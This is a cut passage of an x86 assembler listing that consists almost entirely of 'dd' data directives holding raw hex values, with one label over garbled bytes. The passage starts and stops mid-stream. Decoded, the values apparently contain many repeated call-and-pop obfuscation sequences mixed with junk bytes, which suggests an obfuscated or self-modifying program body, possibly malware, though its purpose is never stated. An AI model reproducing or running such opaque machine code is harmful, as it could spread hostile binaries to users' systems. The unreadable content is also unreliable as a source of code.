30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0C18D89h dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 1B023BC3h, 4819370Ah, 89EF63D1h, 0E0145D8Dh dd 0C5BD8307h, 307E022h, 464850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 21BD86C3h dd 21BD8B01h, 8307E014h, 0E3CBADBDh, 840F0007h, 432h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 57C35747h, 0B5FFF003h dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0D2C35141h, 0BF840072h, 3DD0156Dh, 2860Fh, 0D88A0000h dd 1DA995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 681917C3h, 81669E5Dh, 8B2A8DD3h dd 0E3CBA1B5h, 106C707h, 6A000100h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 7041C355h dd 21A1FBF6h, 816662BDh, 0F35FFD7h, 1586h, 10E900h, 0EC550000h dd 670B1B2h, 1CCDADD8h, 662B4C1Ah, 0AE89FB4h, 0A7000000h dd 48E21701h, 2BE47770h, 2EF815Eh, 5F3CD95Fh, 0EC94BB96h dd 96504AF9h, 1E059D8Bh, 0B5FF07E0h, 7E3CBADh, 31D5B589h dd 95FF07E0h, 7E03011h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0CAC35545h, 0D565C01h, 8B0B638Dh, 0E3CBA1B5h dd 5810F07h, 0BF000000h, 6AB7D228h, 22D1858Bh, 958907E0h dd 7E000D9h, 0C48689h, 958B0000h, 7E01815h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0AEC35545h, 0F7C3DEA1h dd 0B9702A0Eh, 8725CBBh, 4C28360h, 50895B50h, 51006A20h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0CDBD3363h, 0F07E014h, 0C84h, 6860F00h, 89000000h, 0E01BD18Dh dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 6BAAC355h, 0A96FE0DDh dd 5DBD8BA8h, 8907E026h, 0B886h, 0E9FE8A00h, 0Eh, 0D0046D68h dd 0E325956h, 0F2A20EFFh, 6A757Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 44C35343h, 5E7EBF66h, 0CBADB5FFh dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 787F3FC3h, 8FBB1B19h, 95B5896Eh dd 8907E023h, 0E007E585h, 9995FF07h, 3107E02Ah, 0E0268DBDh dd 3EBF5007h, 890BC562h, 0E3BF2434h, 0FF67A7F9h, 0E3CBADB5h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0B59D8BB6h, 0FF07E000h, 0E028E995h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 88130D54h, 8EDDC133h, 0BD290C86h, 7E01429h, 1870Fh dd 83F80000h, 0E028E1BDh, 840F0007h, 21h, 0E95025B3h, 0Fh dd 60A666FDh, 0B3FE3D8Fh, 6EF1214Dh, 89902867h, 66562434h dd 0A0D8D381h, 0ADB5FF5Bh, 6A07E3CBh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9259C356h dd 0D5B7BF69h, 95FF4ACFh, 7E03035h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 89C35141h, 8D0948E1h, 86C9E9A7h dd 66F88B66h, 0B585F781h, 0CBADB5FFh, 6A07E3h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 21B312C3h, 0FA8B9E9Fh, 21298589h, 95FF07E0h, 7E001B9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 15C35646h dd 2F21E3F5h, 37E2B44Bh, 8C0F6081h, 4, 7889BE66h, 26D1B523h dd 836107E0h, 0E00731BDh, 840F0207h, 56h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 37C35343h, 558D0192h dd 8B07E016h, 0E0203985h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8915E12Ch dd 0E026BDB5h, 0C607h, 12A99D89h, 85C707E0h, 7E0043Dh dd 0 dd 9D7FDB81h, 0FE91CE5h, 0FFFFFF4h, 688h, 0A19D8B00h, 8B07E011h dd 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 949B5E07h, 9DBD898Eh, 8D07E01Bh, 0E013C985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 80415F39h, 0BF6690F8h, 0F50D2C2h, 28Fh dd 90D88B00h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0F9C35545h, 263002CEh, 28F5BD8Bh, 6A07E0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 63C35646h, 8B6669D4h dd 0AD9589FBh, 6A07E01Ch, 12EB8100h, 8D278BF0h, 0E4E0A785h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0ABF85F9Ah, 0B1B589B0h, 8307E018h, 6A05C0h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 8D8960C3h, 7E02AC5h, 10E990h, 0D39B0000h, 1613B3C4h dd 0C002BE43h, 29EBE82Eh, 66500763h, 9001DDBBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7DC35242h, 1325BD8Bh dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C4C35040h, 0BD89929Ch, 7E018D1h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 9D89BBC3h, 7E02DA5h, 344195FFh, 9D8907E0h, 7E0349Dh dd 0A3938D8Dh, 0C78007E3h, 6AD1FF9Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 726DC357h dd 0F0EDD41h, 689h, 95858900h, 8B07E004h, 0E00FF9BDh, 0B1BD8307h dd 107E016h, 0C9850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 934C9C3h, 7BB38C31h dd 0B70F579Eh, 0B5295BD9h, 7E0160Dh, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 28E7C7C3h dd 0BD8B3010h, 7E01119h, 11E86050h, 0E4000000h, 53C7DC6Eh dd 0C87E0EA3h, 1BE959AFh, 8031B5ABh, 66596160h, 8961F78Bh dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 9CAF85C3h, 7E8h, 2EE7ED00h, 368CBE25h, 17870Fh dd 12E90000h, 0F1000000h, 8F1984B2h, 50A616DCh, 96B2FBA9h dd 4FD11C72h, 95FF5F8Fh, 7E02A99h, 0E9DABF0Fh, 0CCDh, 0E8h dd 0ED815D00h, 7E4E0B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 61C35242h, 5CF89A03h, 6ABF7Fh, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0A841B7C3h, 0E9B863CCh, 12h, 816F695h, 32DB08Dh, 0D7C2C046h dd 0DCA9CBE3h, 2FB7CF28h, 9463858Dh, 6A07E3h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 20FED8C3h dd 0C36B708Ch, 90D5F6F2h, 0CE9h, 3321FF00h, 3C2E0C28h dd 8864E881h, 8A60502Ah, 649061CFh, 35FFh, 0BD8B0000h dd 7E025ADh, 1E0D9D8Bh, 896407E0h, 25h, 0D19D8B00h, 0FF07E019h dd 0E020FD85h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 3EB516EDh, 0D68D7E4Dh dd 0BB66FF6Ah, 0B5FF5A24h, 7E02A5Dh, 253D9D31h, 95FF07E0h dd 7E03389h, 135E9h, 69D38000h, 0DE900B0h, 92000000h, 34D1B342h dd 0FE2F2E91h, 22EDEFCDh, 616070E6h, 8E0F71E4h, 6, 1CA59589h dd 0FE907E0h, 31000000h, 4413495Fh, 3D63BF41h, 0C6E5A46Ah dd 613C05F1h, 0F0830Fh, 9560000h, 0E006A595h, 0BD895B07h dd 7E01555h, 57C8B60Fh, 12E9h, 90FF1000h, 37CD36B0h, 7F319AB2h dd 4C77E87Ah, 5F681616h, 6BAh, 68D0F00h, 89000000h, 0E02A399Dh dd 66C18B07h, 0C17D1BBFh, 8B6604E8h, 0E2F766FAh, 0C82B5B57h dd 0B589D18Bh, 7E0140Dh, 93E9D98Bh, 66000000h, 0DA74D381h dd 1858Bh, 0E7800000h, 65B58988h, 8307E005h, 950107C0h dd 7E0088Dh, 5300C083h, 24F5BD33h, 0E95F07E0h, 6, 28B5B065h dd 0D03BC02Eh, 0A830Fh, 8CBF0000h, 0E9074702h, 4Eh, 0FFFF8D8Bh dd 9D8BFFFFh, 7E033F9h, 0F01E183h, 3984h, 0BF0FF900h, 0FFA583FBh dd 0FEFFFFFFh, 0E860D8B7h, 5, 9E2BA430h, 7B9668Eh, 0BD895AFEh dd 7E013FDh, 1958961h, 0F000000h, 48Ah, 0C6BF6600h, 0E924h dd 0B58D0000h, 7E46200h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0CCC35343h, 8166ACB5h, 6A7EB0D7h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B2B2C6Eh, 0E01DD9BDh, 0A995FF07h, 6A07E018h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 7057C353h, 0AD54394Ch, 9F23C51h, 2FDD8D29h, 0B8B907E0h dd 8B00000Fh, 0E0074DBDh, 0FCE18307h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0AAC35141h, 37B960FCh, 8918BEE4h dd 0E008319Dh, 0B86107h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0B512C351h dd 8EEF8012h, 0B589D22Bh, 7E02FDDh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 6ADE8Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 1E7D94C3h, 0BBB5559Ah, 0DF816660h dd 8166ABC8h, 61536AEAh, 880Dh, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0FFB8C4FAh dd 7CD8FF88h, 0B59D0112h, 0E907E01Fh, 12h, 0F0A14809h dd 2A13E7D8h, 776F243h, 8FE37B86h, 8B600D06h, 0E0207195h dd 0D0816607h, 8B613523h, 0E0181595h, 0EB816607h, 0BD8B6A96h dd 7E02169h, 20498D8Bh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8B0511C3h, 0E018299Dh dd 0C28B5007h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 62CAC357h, 11E9AEh, 9FCE0000h, 0B82BFE65h dd 1840DE0Ch, 2B530F0Dh, 6AC145FFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0C000C350h dd 0C7C6533Ch, 8B1FCAEDh, 0E01CE99Dh, 0F5BD8307h, 7E012h dd 71840Fh, 0D1BF0000h, 663D9C05h, 0B8F88Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 2704C351h, 0C9FC04C9h, 1791A93h, 0E00571B5h dd 0E88D8D07h, 6A07E04Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0E07C356h, 89B7E8BAh dd 0E023318Dh, 0E99D8B07h, 0FF07E02Ch, 81BD89E1h, 8307E026h dd 0E022C5BDh, 840F0007h, 406h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0CBC35040h, 20220DFDh, 0E978B580h dd 0Bh, 323DFB22h, 6455036Ah, 83BF6927h, 0E022C5BDh, 840F0107h dd 3E1h, 13199D8Bh, 0BD8307E0h dd 7E022C5h, 98860F03h, 57000003h, 1F5D9589h, 295F07E0h dd 0E020F195h, 0B70F6007h, 0D98C66F9h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0D2C35242h, 10E961B3h, 99000000h dd 0C075B326h, 0F78D595Bh, 0A71312A8h, 80E5B71Fh, 0AF904E1h dd 0C4840FC9h, 8B000000h, 0E0339985h, 3389B307h, 0E0318985h dd 499D8B07h, 9007E02Fh, 8B50DE8Bh, 8D8990FBh, 7E01385h dd 840F006Ah, 5, 30F38166h, 4E866h, 3FF0000h, 4EBB001Fh dd 502C2BE8h, 8BD98B66h, 0F042444h, 489h, 0C5BF6600h, 0E9008BB9h dd 6, 5902C13Eh, 44892706h, 8B660424h, 0BD8B58DEh, 7E020EDh dd 21CD95FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 1CEF6C3h, 810ABB78h, 0CE45BCD7h dd 0E18D8925h, 8907E01Fh, 0E3CBAD85h, 0BE96007h, 3E000000h dd 8C90AB18h, 0C9280640h, 61FCD0D7h, 68D38166h, 1C8E91Eh dd 0BBBB0000h, 8B060483h, 0E3CBA585h, 0C7F807h, 18h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5BC35242h, 891DC256h dd 0E02565BDh, 0A9B58B07h, 6A07E3CBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2B7CC353h dd 0AB7B0E76h, 0EABF1C55h, 0E842C776h, 8, 2AF2CF00h, 6D6719ECh dd 70FBC781h, 95F53A0h, 0E01981BDh, 0F9858B07h, 6A07E005h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0B6EC350h, 0E016F1BDh, 0D7EB8107h, 89010FD4h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 2BBFD188h, 5019941Bh, 68B0Fh, 9D8B0000h dd 7E007FDh, 99858B5Bh, 8907E033h, 6A0446h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0D96520C3h dd 865D991h, 0B3EB4732h, 0E850960Eh, 5, 886AC965h, 5BFC8A60h dd 860F505Fh, 8, 8B0F56h, 5F000000h, 0FBB70F96h, 0CBA5B5FFh dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0A2864CC3h, 9C9ECFAh, 0E00DF1B5h, 0E9FB8B07h dd 8, 52586EA8h, 7E5CA94Bh, 6E58A368h, 0F98B66DCh, 5C240481h dd 6A23B0ABh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0A414C352h, 0D566AA1Fh, 0BF4E6DBAh dd 2B01BD2Bh, 858D07E0h, 7E3CBADh, 1EBD9D8Bh, 525007E0h dd 5BDE8B66h, 66240489h, 0FFBFE1BFh, 0E021CD95h, 0F61F507h dd 0E8Dh, 858B6000h, 7E02C95h, 31E1B589h, 0C76107E0h, 0E022C585h dd 307h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0EB814AF7h, 232B41BDh, 2989C781h dd 0BD836905h, 7E3CBADh, 68840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 1B31C356h, 71501E13h, 0E9FC603Dh, 5Ah, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 7FC35141h, 76BA470h dd 9A9447E5h, 4D8D8903h, 0E807E01Eh, 6, 3C060C80h, 0B70F6439h dd 81665BF9h, 507970DFh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 52F8C08Bh, 2DD1B589h, 575F07E0h dd 1385BD8Bh, 835F07E0h, 0E022C5BDh, 850F0307h, 368h, 80ACBF66h dd 0CBADBD83h, 0F0007E3h, 35784h, 9E900h, 65650000h, 2F33AECCh dd 0FF99B16Dh, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0DCF75116h dd 0A6D6963Eh, 8152B190h, 80F669D3h, 95FF5F3Ch, 7E01DA9h dd 0E6573FBBh, 0A1B58B08h, 0BB07E3CBh, 41652B85h, 106C7h dd 89560001h, 0E01939B5h, 53505B07h, 0AE857h, 0ABD60000h dd 0AD292D26h, 0C4E6894h, 895B5B5Fh, 6A2434h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 3405B0C3h dd 0DC5E8EA5h, 0BFEB3F57h, 78D3342Ah, 0ADB5FFF5h, 0E907E3CBh dd 7, 98B409F1h, 0FF787083h, 0E0301195h, 0BE78107h, 8B1997D5h dd 0E3CBA1B5h, 0E5B58907h, 8B07E018h, 0E022D185h, 61BD0B07h dd 8907E02Ah, 0C486h, 0B1B58900h, 0E907E004h, 0Fh, 0B3CDFA8Dh dd 0B03B65CAh, 2F2D74Bh, 8BEAB1ECh, 0E0181595h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 86EB1F2Bh, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0BCD3C352h, 5089FE8Ah dd 99B52920h, 8D07E021h, 0E3E0D485h, 38D0F07h, 0F000000h dd 8689FFBFh, 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 48C35646h, 6A657C81h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 12903125h, 0AE9h, 324FDE00h, 0D0E92C54h, 0FF497C45h dd 0E3CBADB5h, 6DBD8B07h, 0FF07E022h, 0E02A9995h, 0FE907h dd 0BB740000h, 0C3A37636h, 76B6CA6Ah, 37780D23h, 0BB509677h dd 60AD4C44h, 8B66505Fh, 0BD8B96FAh, 7E01B91h, 0CBADB5FFh dd 6A07E3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 3C8A49C3h, 0E0845BDDh, 8D0F894Ch, 12h, 0BE956h dd 0DAB60000h, 75F5AF94h, 57EC68F2h, 0BF665FCFh, 95FFB93Dh dd 7E028E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 4CC35747h, 0BD8320CBh, 7E028E1h, 40840F00h, 0F5000000h dd 0BE950h, 640B0000h, 0CE91548Dh, 8ED2976Ah, 2434898Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h dd 0BC9867DEh, 16B0B03Ah, 499D8B12h, 0FF07E031h, 0E3CBADB5h dd 0CC8A6007h, 11E861h, 0F4240000h, 18B9092Ch, 5EF0771Ch dd 94D1930Eh, 66BEA73Ch, 7DAAEB81h, 3595FF5Bh, 5207E030h dd 38B0Fh, 0BF0F0000h, 0B5FF5BDFh, 7E3CBADh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0C9C35040h, 0CE18EBE9h dd 800Fh, 9D310000h, 7E00439h, 1B995FFh, 858907E0h, 7E02AD9h dd 731BD83h, 0F0207E0h, 2384h, 119D3300h, 8B07E01Ah, 0E0203985h dd 79858907h, 5007E00Fh, 1829BD89h, 0C65B07E0h, 0BD8B0000h dd 7E03325h, 43D85C7h, 7E0h, 0D3810000h, 2860EB44h, 0FFF43BE9h dd 0ED9D8BFFh, 8B07E01Fh, 0B5BD2BC1h, 8907E007h, 0E001E985h dd 0C9858D07h, 0F807E013h, 8922B350h, 0DE8B2404h, 7F59D33h dd 6A07E0h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0BEC35040h, 0DE65BF33h, 1371BD2Bh, 0BD8B07E0h dd 7E02E95h, 9D8B006Ah, 7E023B9h, 2030BB66h, 0EFB2858Dh dd 8D8907E4h, 7E02F55h, 0F05C083h, 0C87h, 6870F00h, 1000000h dd 0E01E5DBDh, 0BE99007h, 0F2000000h, 0B8C562ABh, 26C59896h dd 0B750B117h, 6A90E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0D36FAAC3h, 5214C158h, 8B606E0Fh dd 0BEBA66D0h, 6A6104h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0E9C35747h, 7F65D6C7h, 658D290Eh, 6A07E025h dd 0F9B70F00h, 344195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0C32409C3h, 2D0E5075h dd 10E941h, 375E0000h, 109E40Dh, 3F5A50E1h, 0F816A6B4h dd 8D8D5B28h, 7E3A393h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0A0C35646h, 6AD1FFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F7FA2FC3h dd 0CD4019BFh, 16B1BD83h, 0F0107E0h, 0C985h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0F8C154BDh, 0EE93B2Dh, 60000000h, 0FA1E5DE8h, 0E4226970h dd 8A783A34h, 0A5953185h, 6A07E022h, 50006A02h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0B99D2921h dd 9007E014h, 880F5250h, 13h, 0DE8h, 0BBECAC00h, 0A361148Eh dd 0EB00DF54h, 0F5B1441h, 52525031h, 0BB310F5Fh, 50809C4Eh dd 585A585Ah, 48E0F50h, 53000000h, 905F6160h, 1345BB66h dd 2A9995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0BF2087C3h, 1EE68748h, 0DF99D8Bh dd 0A1E907E0h, 0E800000Eh, 0 aBaQfJ db ']í¼ïä',7,'j',0 db 56h, 0E8h, 3 dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 63C4C356h, 4C4F9870h, 0F57C84Eh, 8A5BDABFh, 0DE857DCh dd 17000000h, 49513003h, 78900CDh, 4977BBE3h, 1061BD33h dd 5B5B07E0h, 9463858Dh, 858907E3h, 7E014D9h, 0FA8B6690h dd 8E86050h, 6D000000h, 4D00715Dh, 0E9BB17A0h, 0Dh, 3A81DEEFh dd 0EA4BE503h, 785661F1h, 25BE58B6h, 6152884Eh, 52006A90h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0E1332880h, 8DF63A52h, 35FF64h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0C7BEC351h, 1DCE1D5h, 0E025A195h, 25896407h, 0 dd 5E16BF66h, 20FD85FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 71404DC3h, 0CDD1F8Dh dd 0BE8h, 5E437600h, 23BF017Fh, 0B63E7CA4h, 6810Fh, 860F0000h dd 0 dd 6AFF6A5Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 0DF0C350h, 0D4C028F7h, 815E2A34h dd 8BA5BBDFh, 0A1B5FF7Fh, 6A07E007h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FFBBC357h dd 0E0338995h, 117E907h, 89600000h, 0E031E195h, 8D953307h dd 6107E023h, 8B0F00B0h, 4, 0C06BF66h, 0E78170E6h, 68EE85F1h dd 21799D89h, 71E407E0h, 5880Fh, 81660000h, 3C0A32E7h dd 0DA830F61h, 81000000h, 2ABD23C3h, 0C8B60F7Dh, 559BD09h dd 6BA07E0h, 0F000000h, 681h, 0EED78100h, 8B198C50h, 65B589C1h dd 6007E032h, 0F9D78166h, 79BD314Eh, 6107E01Fh, 5704E8C1h dd 2FF98D89h, 665B07E0h, 0BB66E2F7h, 0C82B7A22h, 899BD8Bh dd 0D18B07E0h, 0E9F98B66h, 81h, 719D8B50h, 5B07E023h, 4858Bh dd 0B5010000h, 7E00565h, 6607C083h, 0EBCEF381h, 300C083h dd 0E029299Dh, 0FD03B07h, 0E83h, 76E78100h, 0E91E0933h dd 49h, 8BFE8B66h, 0FFFFFF8Dh, 840FFFh, 83000000h, 840F01E1h dd 31h, 10E9h, 6A8DCA00h, 0F8CB8454h, 0D625D687h, 4FF94FEBh dd 0FFA58327h, 0FEFFFFFFh, 3397BB66h, 49589h, 8D310000h dd 7E00689h, 0E9h, 0B8B58D00h, 6A07E471h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 5DDAC352h dd 0FE16C4C8h, 13F59D8Bh, 6A07E0h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 3DC35242h, 99770B77h, 7DF31FAh dd 22759D89h, 95FF07E0h, 7E018A9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 14C35343h, 1E1B767Eh, 0EE928h dd 0F2D10000h, 9E04834Ch, 0AE9DD091h, 89F9F152h, 0EF8B9h dd 0C830F00h, 0F000000h, 68Fh, 21BD8B00h, 8307E02Ah, 6AFCE1h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8DAD98C3h, 7BDAD783h, 0A8BB2387h, 0FC196F82h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h, 87EF8163h dd 8B491A2Fh, 0E017099Dh, 0E9C02B07h, 14h, 0D913ACDDh dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 20419D8Bh dd 0BA07E0h, 0B3000000h, 0C233AD63h, 0D003E8D1h, 7504E983h dd 219589F4h, 5307E011h, 0BEA7C781h, 0D5F2252h, 88h, 441BD33h dd 958B07E0h, 7E01815h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0E1C35545h, 498D8B8Eh, 6A07E020h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B51CC356h, 1DF288FCh, 14E937h, 0FBD00000h, 68A0988Bh dd 4ED00CCAh, 894FFB04h, 4472EE84h, 8B5072C6h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 128D8589h, 6A07E0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 10A1E8C3h, 76D73FB3h, 8C0F4112h, 2, 0BD8307B3h, 7E012F5h dd 55840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0F352C351h, 0B85Eh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0B757B6C3h, 2800FD3h, 8B000000h, 0E88D8DD9h dd 0F807E04Eh, 0E1FFDF8Bh, 22C5BD83h, 0F0007E0h, 4AC84h dd 71BD8B00h, 8307E033h, 0E022C5BDh, 840F0107h, 4B4h, 83D9B70Fh dd 0E022C5BDh, 860F0307h, 46Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 96C35545h, 1B621941h, 66F6CAAAh dd 91573BBh, 0E00691BDh, 6A6007h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 1ABFE2C3h, 0BB66BA8Dh dd 0DF8B1EBAh, 0E9D98C66h, 0Ch, 4D958AE8h, 78D84B63h, 2164DFD8h dd 6A04E180h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 50EDC355h, 1672C096h, 0A62D65ECh dd 840FC90Ah, 15Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 8BC35646h, 0FCE1F583h, 12C9BD8Bh, 858B07E0h dd 7E03399h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 9FC35242h, 0EB684769h, 88D5BCA9h, 8BD9B70Fh, 0E01B119Dh dd 89853307h, 6A07E031h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 897DC355h, 613E81FAh dd 24048950h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 4BC35747h, 0AB4ACF68h, 149FF7DAh, 55BD8B00h, 6A07E000h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0A5852971h, 8B07E01Ch, 0E00DDD9Dh, 4E807h dd 3FF0000h, 8C0F001Fh, 4, 0A345BB66h, 0DABB5650h, 5B3CF792h dd 424448Bh, 8BF88Bh, 870Fh, 44890000h, 